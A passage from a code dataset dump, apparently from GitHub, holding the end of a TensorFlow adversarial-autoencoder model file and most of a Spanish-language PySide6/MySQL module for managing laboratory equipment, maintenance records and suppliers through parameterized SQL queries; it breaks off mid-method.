{}\n\n def _build(self):\n raise NotImplementedError\n\n def build(self):\n \"\"\" Wrapper for _build() \"\"\"\n with tf.variable_scope(self.name):\n self._build()\n variables = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=self.name)\n self.vars = {var.name: var for var in variables}\n\n def fit(self):\n pass\n\n def predict(self):\n pass\n\n\n\n\ndef dense(x, n1, n2, name):\n \"\"\"\n Used to create a dense layer.\n :param x: input tensor to the dense layer\n :param n1: no. of input neurons\n :param n2: no. of output neurons\n :param name: name of the entire dense layer.i.e, variable scope name.\n :return: tensor with shape [batch_size, n2]\n \"\"\"\n with tf.variable_scope(name, reuse=None):\n # np.random.seed(1)\n tf.set_random_seed(1)\n weights = tf.get_variable(\"weights\", shape=[n1, n2],\n initializer=tf.random_normal_initializer(mean=0., stddev=0.01))\n bias = tf.get_variable(\"bias\", shape=[n2], initializer=tf.constant_initializer(0.0))\n out = tf.add(tf.matmul(x, weights), bias, name='matmul')\n return out\n\n\nclass Discriminator(Model):\n def __init__(self, V,**kwargs):\n super(Discriminator, self).__init__(**kwargs)\n\n self.V=V\n self.act = tf.nn.relu\n\n def construct(self, inputs, reuse=False):\n # with tf.name_scope('Discriminator'):\n with tf.variable_scope('Discriminator_'+str(self.V),reuse=reuse):\n\n tf.set_random_seed(1)\n dc_den1 = tf.nn.relu(dense(inputs, FLAGS.hidden2, FLAGS.hidden3, name='dc_den1'))\n dc_den2 = tf.nn.relu(dense(dc_den1, FLAGS.hidden3, FLAGS.hidden1, name='dc_den2'))\n output = dense(dc_den2, FLAGS.hidden1, 1, name='dc_output')\n return output\n\n\nclass DiscriminatorUniversal(Model):\n def __init__(self, V,**kwargs):\n super(DiscriminatorUniversal, self).__init__(**kwargs)\n\n self.V=V\n self.act = tf.nn.relu\n\n def construct(self, inputs):\n # with tf.name_scope('Discriminator'):\n with tf.variable_scope('Discriminator_Universal_'+str(self.V),reuse=tf.AUTO_REUSE):\n\n tf.set_random_seed(1)\n dc_den1 = tf.nn.relu(dense(inputs, FLAGS.hidden2, FLAGS.hidden3, name='dc_den1'))\n dc_den2 = tf.nn.relu(dense(dc_den1, FLAGS.hidden3, FLAGS.hidden1, name='dc_den2'))\n output = dense(dc_den2, FLAGS.hidden1, 1, name='dc_output')\n return output\n\n\ndef gaussian_noise_layer(input_layer, std):\n noise = tf.random_normal(shape=tf.shape(input_layer), mean=0.0, stddev=std, dtype=tf.float32)\n return input_layer + noise\n","repo_name":"dugzzuli/MVC_MAE","sub_path":"Model/ModelLossFromARGA.py","file_name":"ModelLossFromARGA.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"10960456802","text":"import sys\nimport mysql.connector\nfrom PySide6.QtWidgets import QTableWidgetItem, QFileDialog,QPushButton, QHBoxLayout, QFrame, QAbstractItemView\nfrom PySide6.QtGui import QIcon, QCursor, QPixmap\nfrom PySide6.QtCore import Qt\n\nmydb = mysql.connector.connect(host=\"localhost\",\n user=\"root\",\n password=\"\",\n database=\"proyecto\")\nmycursor = mydb.cursor()\n# INSERTAR DATOS EN BASE DE DATOS\nsqlinstertUsuarios = \"INSERT INTO t_usuarios (user,password,cedula,tipousuario,cod_estud,id_laboratorista) VALUES (%s,%s,%s,%s,%s,%s)\"\nsqlinstertLaboratorista = \"INSERT INTO t_usuarios (id_laboratorista,cedula,nombres,apellidos,tel_fijo,celular,ciudad,fecha_nac,direccion) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\n\nsqlinstertPlanM = \"INSERT INTO t_planm (laboratorio,codigo_equipo,nombre,vida_util,calibracion,frec_mantenimiento,ultimoM,proximoM,pronostico1,pronostico2,pronostico3,pronostico4,pronostico5,pronostico6,pronostico7,observaciones) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\nsqlinstertEquipo = \"INSERT INTO t_equipo (id_equipo,nombre,vida_util,frec_mantenimiento,estado_equipo,codigo_equipo,fecha_registro,fabricante,laboratorio,calibracion,valor) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\nsqlinstertReparacion = \"INSERT INTO t_reparacion (id_reparacion,fecha_ingreso,fecha_retorno,descripcion,id_laboratorista,id_maquina,id_instrumento) VALUES (%s,%s,%s,%s,%s,%s,%s)\"\nsqlinstertProveedores = \"INSERT INTO t_proveedores (id_proveedor,FechaDiligenciamiento,RazonSocial,Nit,Telefonos,Email,Direccion,Fax,Ciudad,ContactoVentas,ContactoSoporte,PDFProveedor) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\nsqlinstertMantenimientosEnCurso = \"INSERT INTO t_mantenimientosencurso (id,fecha_registro,fecha_retorno,observaciones,id_laboratorista,id_equipo,id_proveedor,costo) VALUES (%s,%s,%s,%s,%s,%s,%s,%s)\"\nsqlinstertMantenimientosRealizado = \"INSERT INTO t_mantenimientorealizado (id,fecha_registro,fecha_retorno,observaciones,id_laboratorista,id_equipo,id_proveedor,costo) VALUES (%s,%s,%s,%s,%s,%s,%s,%s)\"\nsqlinstertNoficaciones = \"INSERT INTO t_notificaciones (tipo_noti,codigo_equipo,nombre_equipo) VALUES (%s,%s,%s)\"\n\n\n\n# CONSULTAR DATOS EN BASE DE DATOS\nsqlselectUsuarios = \"SELECT * FROM t_usuarios WHERE user = %s\"\nsqlselectLaboratorista = \"SELECT * FROM t_laboratorista WHERE id_laboratorista = %s\"\n\nsqlselectNoficaciones = \"SELECT * FROM t_notificaciones \"\nsqlselectNoficacionesCodigoEquipo = \"SELECT * FROM t_notificaciones WHERE codigo_equipo = %s\"\nsqlselectNoficacionesId = \"SELECT * FROM tt_notificaciones WHERE id = %s\"\n\nsqlselectEquipo = \"SELECT * FROM t_equipo \"\nsqlselectEquipoID = \"SELECT * FROM t_equipo WHERE id_equipo = %s\"\nsqlselectEquipoNombre = \"SELECT * FROM t_equipo WHERE nombre = %s\"\nsqlselectEquipoCodigo = \"SELECT * FROM t_equipo WHERE codigo_equipo = %s\"\n\nsqlselectPlanM = \"SELECT * FROM t_planm \"\nsqlselectPlanMLaboratorio = \"SELECT * FROM t_planm WHERE laboratorio = %s\"\nsqlselectPlanMNombre = \"SELECT * FROM t_planm WHERE nombre = %s\"\nsqlselectPlanMCodigo = \"SELECT * FROM t_planm WHERE codigo_equipo = %s\"\n\nsqlselectMantenimientosEnCurso = \"SELECT * FROM t_mantenimientosencurso \"\nsqlselectMantenimientosEnCursoID = \"SELECT * FROM t_mantenimientosencurso WHERE id = %s\"\nsqlselectMantenimientosEnCursoIDProveedor = \"SELECT * FROM t_mantenimientosencurso WHERE id_proveedor = %s\"\nsqlselectMantenimientosEnCursoIDLaboratorista = \"SELECT * FROM t_mantenimientosencurso WHERE id_laboratorista = %s\"\nsqlselectMantenimientosEnCursoIDEquipo = \"SELECT * FROM t_mantenimientosencurso WHERE id_equipo = %s\"\n\nsqlselectMantenimientosRealizado = \"SELECT * FROM t_mantenimientorealizado \"\nsqlselectMantenimientosRealizadoID = \"SELECT * FROM t_mantenimientorealizado WHERE id = %s\"\nsqlselectMantenimientosRealizadoIDProveedor = \"SELECT * FROM t_mantenimientorealizado WHERE id_proveedor = %s\"\nsqlselectMantenimientosRealizadoIDLaboratorista = \"SELECT * FROM t_mantenimientorealizado WHERE id_laboratorista = %s\"\nsqlselectMantenimientosRealizadoIDEquipo = \"SELECT * FROM t_mantenimientorealizado WHERE id_equipo = %s\"\n\n\n\n\nsqlselectInstrumento = \"SELECT * FROM t_instrumento \"\nsqlselectInstrumentoID = \"SELECT * FROM t_instrumento WHERE id_instrumento = %s\"\nsqlselectInstrumentoNombre = \"SELECT * FROM t_instrumento WHERE nombre = %s\"\nsqlselectInstrumentoTipo = \"SELECT * FROM t_instrumento WHERE tipo_instr = %s\"\n\nsqlselectMaquina = \"SELECT * FROM t_maquina \"\nsqlselectMaquinaID = \"SELECT * FROM t_maquina WHERE id_maquina = %s\"\nsqlselectMaquinaNombre = \"SELECT * FROM t_maquina WHERE nombre = %s\"\nsqlselectMaquinaTipo = \"SELECT * FROM t_maquina WHERE tipo_maq = %s\"\n\nsqlselectReparacion = \"SELECT * FROM t_reparacion\"\nsqlselectReparacionID = \"SELECT * FROM t_reparacion WHERE id_reparacion = %s\"\nsqlselectReparacionIDInstru = \"SELECT * FROM t_reparacion WHERE id_instrumento = %s\"\nsqlselectReparacionIDMaq = \"SELECT * FROM t_reparacion WHERE id_maquina = %s\"\n\nsqlselectProveedores = \"SELECT * FROM t_proveedores\"\nsqlselectProveedoresID = \"SELECT * FROM t_proveedores WHERE id_proveedor = %s\"\nsqlselectProveedoresRazonSocial = \"SELECT * FROM t_proveedores WHERE RazonSocial = %s\"\nsqlselectProveedoresNit = \"SELECT * FROM t_proveedores WHERE Nit = %s\"\n\n\n\n# MODIFICAR DATOS EN BASE DE DATOS\n\nsqlupdateEquipo = \"UPDATE t_equipo SET nombre = %s,\tvida_util = %s,frec_mantenimiento = %s,estado_equipo = %s,codigo_equipo = %s,fecha_registro = %s,fabricante = %s,laboratorio = %s,calibracion = %s,valor = %s WHERE id_equipo = %s\"\nsqlupdatePlanM = \"UPDATE t_planm SET laboratorio = %s, nombre = %s,\tvida_util = %s,calibracion = %s,frec_mantenimiento = %s,ultimoM = %s, proximoM = %s, pronostico1 = %s,pronostico2 = %s,pronostico3 = %s,pronostico4 = %s,pronostico5 = %s,pronostico6 = %s,pronostico7 = %s, observaciones = %s WHERE codigo_equipo = %s\"\nsqlupdateMantenimientosEnCurso = \"UPDATE t_mantenimientosencurso SET fecha_registro = %s,\tfecha_retorno = %s,observaciones = %s,id_laboratorista = %s,id_equipo = %s, id_proveedor = %s, costo = %s WHERE id = %s\"\nsqlupdateMantenimientosRealizado = \"UPDATE t_mantenimientorealizado SET fecha_registro = %s,\tfecha_retorno = %s,observaciones = %s,id_laboratorista = %s,id_equipo = %s, id_proveedor = %s, costo = %s WHERE id = %s\"\nsqlupdateNoficaciones = \"UPDATE t_notificaciones SET tipo_noti = %s, codigo_equipo=%s, nombre_equipo=%s WHERE id = %s\"\n\n\nsqlupdateInstrumento = \"UPDATE t_instrumento SET nombre = %s,tipo_instr = %s,tipo_practica = %s,estado_instr = %s,cod_seguridad = %s,fecha_registro = %s,fabricante = %s,valor = %s,id_banco = %s WHERE id_instrumento = %s\"\nsqlupdateMaquina = \"UPDATE t_maquina SET nombre = %s, tipo_maq = %s,tipo_practica = %s, fecha_registro = %s, fabricante = %s, valor = %s, estado_maq = %s WHERE id_maquina = %s\"\nsqlupdateReparacion = \"UPDATE t_reparacion SET fecha_ingreso = %s, fecha_retorno = %s,descripcion = %s, id_laboratorista = %s,id_maquina = %s,id_instumento = %s WHERE id_reparacion = %s\"\nsqlupdateProveedores = \"UPDATE t_proveedores SET FechaDiligenciamiento = %s, RazonSocial = %s,Nit = %s, Telefonos = %s,Email = %s,Direccion = %s,Fax = %s,Ciudad = %s,ContactoVentas = %s,ContactoSoporte = %s,PDFProveedor = %s WHERE id_proveedor = %s\"\n\n\n\n\n# ELIMINAR DATOS EN BASE DE DATOS\nsqlDeleteEquipo = \"DELETE FROM t_equipo WHERE id_equipo = %s\"\nsqlDeletePlanM = \"DELETE FROM t_planm WHERE codigo_equipo = %s\"\nsqlDeleteMantenimientosRealizado = \"DELETE FROM t_mantenimientorealizado WHERE id = %s\"\nsqlDeleteMantenimientosRealizadoIDEquipo = \"DELETE FROM t_mantenimientorealizado WHERE id_equipo = %s\"\nsqlDeleteMantenimientosRealizadoIDProveedores = \"DELETE FROM t_mantenimientorealizado WHERE id_proveedor = %s\"\nsqlDeleteMantenimientosEnCurso = \"DELETE FROM t_mantenimientosencurso WHERE id = %s\"\nsqlDeleteMantenimientosEnCursoIDEquipo = \"DELETE FROM t_mantenimientosencurso WHERE id_equipo = %s\"\nsqlDeleteMantenimientosEnCursoIDProveedores = \"DELETE FROM t_mantenimientosencurso WHERE id_proveedor = %s\"\nsqlDeleteNotificaciones = \"DELETE FROM t_notificaciones WHERE id = %s\"\n\n\nsqlDeleteInstrumento = \"DELETE FROM t_instrumento WHERE id_instrumento = %s\"\nsqlDeleteMaquina = \"DELETE FROM t_maquina WHERE id_maquina = %s\"\nsqlDeleteReparacion = \"DELETE FROM t_reparacion WHERE id_reparacion = %s\"\nsqlDeleteProveedor = \"DELETE FROM t_proveedores WHERE id_proveedor = %s\"\n\n\n#val = (\"45161004\",\"126304\",\"Miguel\",\"Rojas\",\"917508\",\"321225461\",\"Sincelejo\",\"2000/10/15\",\"calle walabi 4 2 sydni\",)\n#mycursor.execute(sqlinstertLaboratorista,val)\n#mydb.commit()\nclass Notificaciones:\n def agregar(val):\n mycursor.execute(sqlinstertNoficaciones, val)\n mydb.commit()\n\n def ConsultarTablaNotifiaciones(self):\n mycursor.execute(sqlselectNoficaciones)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaID(adr):\n mycursor.execute(sqlselectNoficacionesId, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaCodigo(adr):\n mycursor.execute(sqlselectNoficacionesCodigoEquipo, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def Actualizar(val):\n mycursor.execute(sqlupdateNoficaciones, val)\n mydb.commit()\n print(mycursor.rowcount, \"registros afectado/s\")\n\n def Eliminar(val):\n mycursor.execute(sqlDeleteNotificaciones, val)\n mydb.commit()\n print(mycursor.rowcount, \"record(s) deleted\")\n\n\nclass Equipo:\n def agregar(val):\n mycursor.execute(sqlinstertEquipo, val)\n mydb.commit()\n\n def ConsultarTablaEquipo(self):\n mycursor.execute(sqlselectEquipo)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaID(adr):\n mycursor.execute(sqlselectEquipoID, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaNombre(adr):\n mycursor.execute(sqlselectEquipoNombre, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaCodigo(adr):\n mycursor.execute(sqlselectEquipoCodigo, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def Actualizar(val):\n mycursor.execute(sqlupdateEquipo, val)\n mydb.commit()\n print(mycursor.rowcount, \"registros afectado/s\")\n\n def Eliminar(val):\n mycursor.execute(sqlDeleteEquipo, val)\n mydb.commit()\n print(mycursor.rowcount, \"record(s) deleted\")\n\nclass PlanM:\n def agregar(val):\n mycursor.execute(sqlinstertPlanM, val)\n mydb.commit()\n\n def ConsultarTablaPlanM(self):\n mycursor.execute(sqlselectPlanM)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaLaboratorio(adr):\n mycursor.execute(sqlselectPlanMLaboratorio, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaNombre(adr):\n mycursor.execute(sqlselectPlanMNombre, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaCodigo(adr):\n mycursor.execute(sqlselectPlanMCodigo, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def Actualizar(val):\n mycursor.execute(sqlupdatePlanM, val)\n mydb.commit()\n\n def Eliminar(val):\n mycursor.execute(sqlDeletePlanM, val)\n mydb.commit()\n\nclass MantenimientosEnCurso:\n def agregar(val):\n mycursor.execute(sqlinstertMantenimientosEnCurso, val)\n mydb.commit()\n\n def ConsultarTablaMantenimientosEnCurso(self):\n mycursor.execute(sqlselectMantenimientosEnCurso)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaId(adr):\n mycursor.execute(sqlselectMantenimientosEnCursoID, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIdLaboratorista(adr):\n mycursor.execute(sqlselectMantenimientosEnCursoIDLaboratorista, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIdProveedor(adr):\n mycursor.execute(sqlselectMantenimientosEnCursoIDProveedor, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIdEquipo(adr):\n mycursor.execute(sqlselectMantenimientosEnCursoIDEquipo, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def Actualizar(val):\n mycursor.execute(sqlupdateMantenimientosEnCurso, val)\n mydb.commit()\n\n def Eliminar(val):\n mycursor.execute(sqlDeleteMantenimientosEnCurso, val)\n mydb.commit()\n\n def EliminarEquipos(val,self):\n A = MantenimientosEnCurso.ConsultarTablaMantenimientosEnCurso(self)\n for num in A:\n if num[5] == val[0]:\n mycursor.execute(sqlDeleteMantenimientosEnCursoIDEquipo, val)\n mydb.commit()\n\n def EliminarProveedores(val,self):\n A = MantenimientosEnCurso.ConsultarTablaMantenimientosEnCurso(self)\n for num in A:\n if num[6] == val[0]:\n mycursor.execute(sqlDeleteMantenimientosEnCursoIDProveedores, val)\n mydb.commit()\n\n\nclass MantenimientosRealizado:\n def agregar(val):\n mycursor.execute(sqlinstertMantenimientosRealizado, val)\n mydb.commit()\n\n def ConsultarTablaMantenimientosRealizado(self):\n mycursor.execute(sqlselectMantenimientosRealizado)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaId(adr):\n mycursor.execute(sqlselectMantenimientosRealizadoID, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIdLaboratorista(adr):\n mycursor.execute(sqlselectMantenimientosRealizadoIDLaboratorista, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIdProveedor(adr):\n mycursor.execute(sqlselectMantenimientosRealizadoIDProveedor, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIdEquipo(adr):\n mycursor.execute(sqlselectMantenimientosRealizadoIDEquipo, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def Actualizar(val):\n mycursor.execute(sqlupdateMantenimientosRealizado, val)\n mydb.commit()\n\n def Eliminar(val):\n mycursor.execute(sqlDeleteMantenimientosRealizado, val)\n mydb.commit()\n\n def EliminarEquipos(val,self):\n A = MantenimientosRealizado.ConsultarTablaMantenimientosRealizado(self)\n for num in A:\n if num[5] == val:\n mycursor.execute(sqlDeleteMantenimientosRealizadoIDEquipo, val)\n mydb.commit()\n\n def EliminarProveedores(val,self):\n A = MantenimientosRealizado.ConsultarTablaMantenimientosRealizado(self)\n for num in A:\n if num[6] == val:\n mycursor.execute(sqlDeleteMantenimientosRealizadoIDEquipo, val)\n mydb.commit()\n\nclass Reparacion:\n def agregar(val):\n mycursor.execute(sqlinstertReparacion,val)\n mydb.commit()\n\n def ConsultaID(adr):\n mycursor.execute(sqlselectReparacionID, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIDInstrumento(adr):\n mycursor.execute(sqlselectReparacionIDInstru, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaIDMaquina(adr):\n mycursor.execute(sqlselectReparacionIDMaq, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultarTablaReparacion(self):\n mycursor.execute(sqlselectReparacion)\n myresult = mycursor.fetchall()\n return myresult\n\n def Actualizar(val):\n mycursor.execute(sqlupdateReparacion, val)\n mydb.commit()\n\n def Eliminar(val):\n mycursor.execute(sqlDeleteReparacion, val)\n mydb.commit()\n\nclass Proveedores:\n def agregar(val):\n mycursor.execute(sqlinstertProveedores,val)\n mydb.commit()\n\n def ConsultaID(adr):\n mycursor.execute(sqlselectProveedoresID, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaNit(adr):\n mycursor.execute(sqlselectProveedoresNit, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultaRazonSocial(adr):\n mycursor.execute(sqlselectProveedoresRazonSocial, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def ConsultarTablaProvedor(self):\n mycursor.execute(sqlselectProveedores)\n myresult = mycursor.fetchall()\n return myresult\n\n def Actualizar(val):\n mycursor.execute(sqlupdateProveedores, val)\n print(val)\n mydb.commit()\n\n def Eliminar(val):\n mycursor.execute(sqlDeleteProveedor, val)\n mydb.commit()\n\n\n\n\nclass metodos:\n def convertTuple(tup):\n str = ''.join(tup)\n return str\n\n def ConsultaIDLaboratorista(adr):\n mycursor.execute(sqlselectLaboratorista, adr)\n myresult = mycursor.fetchall()\n return myresult\n\n def LoadDataTabla1(self):\n data = Equipo.ConsultarTablaEquipo(self)\n fila = 0\n self.Tequipos.setRowCount(len(data))\n # self.tableWidget.setColumnCount(9)\n for num in data:\n fecha = \"{}\".format(num[6])\n valor = \"$ {}\".format(num[10])\n self.Tequipos.setItem(fila, 0, QTableWidgetItem(num[0]))\n self.Tequipos.setItem(fila, 1, QTableWidgetItem(num[1]))\n self.Tequipos.setItem(fila, 2, QTableWidgetItem(num[2]))\n self.Tequipos.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.Tequipos.setItem(fila, 4, QTableWidgetItem(num[4]))\n self.Tequipos.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.Tequipos.setItem(fila, 6, QTableWidgetItem(fecha))\n self.Tequipos.setItem(fila, 7, QTableWidgetItem(num[7]))\n self.Tequipos.setItem(fila, 8, QTableWidgetItem(num[8]))\n self.Tequipos.setItem(fila, 9, QTableWidgetItem(num[9]))\n self.Tequipos.setItem(fila, 10, QTableWidgetItem(valor))\n fila += 1\n self.Tequipos.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.Tequipos.setSelectionMode(QAbstractItemView.SingleSelection)\n\n\n def ConsultaDataTabla1(self,val,aux):\n if aux in \"ID\":\n data = Equipo.ConsultaID(val)\n if aux in \"NOMBRE\":\n data = Equipo.ConsultaNombre(val)\n if aux in \"CODIGO\":\n data = Equipo.ConsultaCodigo(val)\n fila = 0\n self.TConsultaInstrumento.setRowCount(len(data))\n # self.tableWidget.setColumnCount(9)\n for num in data:\n fecha = \"{}\".format(num[6])\n valor = \"$ {}\".format(num[8])\n self.TConsultaInstrumento.setItem(fila, 0, QTableWidgetItem(num[0]))\n self.TConsultaInstrumento.setItem(fila, 1, QTableWidgetItem(num[1]))\n self.TConsultaInstrumento.setItem(fila, 2, QTableWidgetItem(num[2]))\n self.TConsultaInstrumento.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.TConsultaInstrumento.setItem(fila, 4, QTableWidgetItem(num[4]))\n self.TConsultaInstrumento.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.TConsultaInstrumento.setItem(fila, 6, QTableWidgetItem(fecha))\n self.TConsultaInstrumento.setItem(fila, 7, QTableWidgetItem(num[7]))\n self.TConsultaInstrumento.setItem(fila, 8, QTableWidgetItem(valor))\n fila += 1\n self.TConsultaInstrumento.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TConsultaInstrumento.setSelectionMode(QAbstractItemView.SingleSelection)\n\n\n def LoadDataTablaNotificaciones(self):\n data = Notificaciones.ConsultarTablaNotifiaciones(self)\n fila = 0\n self.TNotifi.setRowCount(len(data))\n # self.tableWidget.setColumnCount(9)\n for num in data:\n Estatus = num[1]\n codigoEquipo = num[2]\n nombre = num[3]\n salida = f\"Estatus: {Estatus} Codigo Del Equipo:{codigoEquipo} Mensaje: Enviar el {nombre} a Mantenimiento Correctivo\"\n self.TNotifi.setItem(fila, 0, QTableWidgetItem(salida))\n fila += 1\n self.TNotifi.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TNotifi.setSelectionMode(QAbstractItemView.SingleSelection)\n\n\n \"\"\"def ConsultaDataTabla2(self,val,aux):\n if aux in \"ID\":\n data = Maquina.ConsultaID(val)\n if aux in \"NOMBRE\":\n data = Maquina.ConsultaNombre(val)\n if aux in \"TIPO\":\n data = Maquina.ConsultaTipo(val)\n print(data)\n fila = 0\n self.TConsultaMaquina.setRowCount(len(data))\n # self.tableWidget.setColumnCount(9)\n for num in data:\n fecha = \"{}\".format(num[4])\n valor = \"$ {}\".format(num[6])\n self.TConsultaMaquina.setItem(fila, 0, QTableWidgetItem(num[0]))\n self.TConsultaMaquina.setItem(fila, 1, QTableWidgetItem(num[1]))\n self.TConsultaMaquina.setItem(fila, 2, QTableWidgetItem(num[2]))\n self.TConsultaMaquina.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.TConsultaMaquina.setItem(fila, 4, QTableWidgetItem(fecha))\n self.TConsultaMaquina.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.TConsultaMaquina.setItem(fila, 6, QTableWidgetItem(valor))\n self.TConsultaMaquina.setItem(fila, 7, QTableWidgetItem(num[7]))\n fila += 1\n self.TConsultaMaquina.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TConsultaMaquina.setSelectionMode(QAbstractItemView.SingleSelection)\n\"\"\"\n\n def LoadDataTabla3(self):\n data = MantenimientosEnCurso.ConsultarTablaMantenimientosEnCurso(self)\n fila = 0\n self.TMantenimientosEnCurso.setRowCount(len(data))\n # self.tableWidget.setColumnCount(9)\n for num in data:\n aux = \"{}\".format(num[0])\n fecha1 = \"{}\".format(num[1])\n fecha2 = \"{}\".format(num[2])\n self.TMantenimientosEnCurso.setItem(fila, 0, QTableWidgetItem(aux))\n self.TMantenimientosEnCurso.setItem(fila, 1, QTableWidgetItem(fecha1))\n self.TMantenimientosEnCurso.setItem(fila, 2, QTableWidgetItem(fecha2))\n self.TMantenimientosEnCurso.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.TMantenimientosEnCurso.setItem(fila, 4, QTableWidgetItem(num[4]))\n self.TMantenimientosEnCurso.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.TMantenimientosEnCurso.setItem(fila, 6, QTableWidgetItem(num[6]))\n self.TMantenimientosEnCurso.setItem(fila, 7, QTableWidgetItem(num[7]))\n fila += 1\n self.TMantenimientosEnCurso.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TMantenimientosEnCurso.setSelectionMode(QAbstractItemView.SingleSelection)\n\n def LoadDataTablaMantenimientosRealizados(self):\n data = MantenimientosRealizado.ConsultarTablaMantenimientosRealizado(self)\n fila = 0\n self.TManteniR.setRowCount(len(data))\n # self.tableWidget.setColumnCount(9)\n for num in data:\n aux = \"{}\".format(num[0])\n fecha1 = \"{}\".format(num[1])\n fecha2 = \"{}\".format(num[2])\n self.TManteniR.setItem(fila, 0, QTableWidgetItem(aux))\n self.TManteniR.setItem(fila, 1, QTableWidgetItem(fecha1))\n self.TManteniR.setItem(fila, 2, QTableWidgetItem(fecha2))\n self.TManteniR.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.TManteniR.setItem(fila, 4, QTableWidgetItem(num[4]))\n self.TManteniR.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.TManteniR.setItem(fila, 6, QTableWidgetItem(num[6]))\n self.TManteniR.setItem(fila, 7, QTableWidgetItem(num[7]))\n fila += 1\n self.TManteniR.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TManteniR.setSelectionMode(QAbstractItemView.SingleSelection)\n\n\n\n def ConsultaDataTabla3(self,val,aux):\n if aux in \"ID\":\n data = MantenimientosEnCurso.ConsultaId(val)\n if aux in \"LABORATORISTA\":\n data = MantenimientosEnCurso.ConsultaIdLaboratorista(val)\n\n if aux in \"EQUIPO\":\n data = MantenimientosEnCurso.ConsultaIdEquipo(val)\n\n if aux in \"PROVEEDOR\":\n data = MantenimientosEnCurso.ConsultaIdProveedor(val)\n\n fila = 0\n print(len(data))\n self.TConsultaMantenimientos1.setRowCount(len(data))\n # self.tableWidget.setColumnCount(9)\n for num in data:\n aux = \"{}\".format(num[0])\n fecha1 = \"{}\".format(num[1])\n fecha2 = \"$ {}\".format(num[2])\n self.TConsultaMantenimientos1.setItem(fila, 0, QTableWidgetItem(aux))\n self.TConsultaMantenimientos1.setItem(fila, 1, QTableWidgetItem(fecha1))\n self.TConsultaMantenimientos1.setItem(fila, 2, QTableWidgetItem(fecha2))\n self.TConsultaMantenimientos1.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.TConsultaMantenimientos1.setItem(fila, 4, QTableWidgetItem(num[4]))\n self.TConsultaMantenimientos1.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.TConsultaMantenimientos1.setItem(fila, 6, QTableWidgetItem(num[6]))\n self.TConsultaMantenimientos1.setItem(fila, 7, QTableWidgetItem(num[7]))\n fila += 1\n self.TConsultaMantenimientos1.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TConsultaMantenimientos1.setSelectionMode(QAbstractItemView.SingleSelection)\n\n\n def LoadDataTablaProveedores(self):\n data = Proveedores.ConsultarTablaProvedor(self)\n fila = 0\n self.TProveedores.setRowCount(len(data))\n for num in data:\n fecha = \"{}\".format(num[1])\n self.TProveedores.setItem(fila, 0, QTableWidgetItem(num[0]))\n self.TProveedores.setItem(fila, 1, QTableWidgetItem(fecha))\n self.TProveedores.setItem(fila, 2, QTableWidgetItem(num[2]))\n self.TProveedores.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.TProveedores.setItem(fila, 4, QTableWidgetItem(num[4]))\n self.TProveedores.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.TProveedores.setItem(fila, 6, QTableWidgetItem(num[6]))\n self.TProveedores.setItem(fila, 7, QTableWidgetItem(num[7]))\n self.TProveedores.setItem(fila, 8, QTableWidgetItem(num[8]))\n self.TProveedores.setItem(fila, 9, QTableWidgetItem(num[9]))\n self.TProveedores.setItem(fila, 10, QTableWidgetItem(num[10]))\n self.TProveedores.setItem(fila, 11, QTableWidgetItem(num[11]))\n fila += 1\n self.TProveedores.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TProveedores.setSelectionMode(QAbstractItemView.SingleSelection)\n\n\n def ConsultaDataTablaP(self,val,aux):\n if aux in \"ID\":\n data = Proveedores.ConsultaID(val)\n print(data)\n if aux in \"NOMBRE\":\n data = 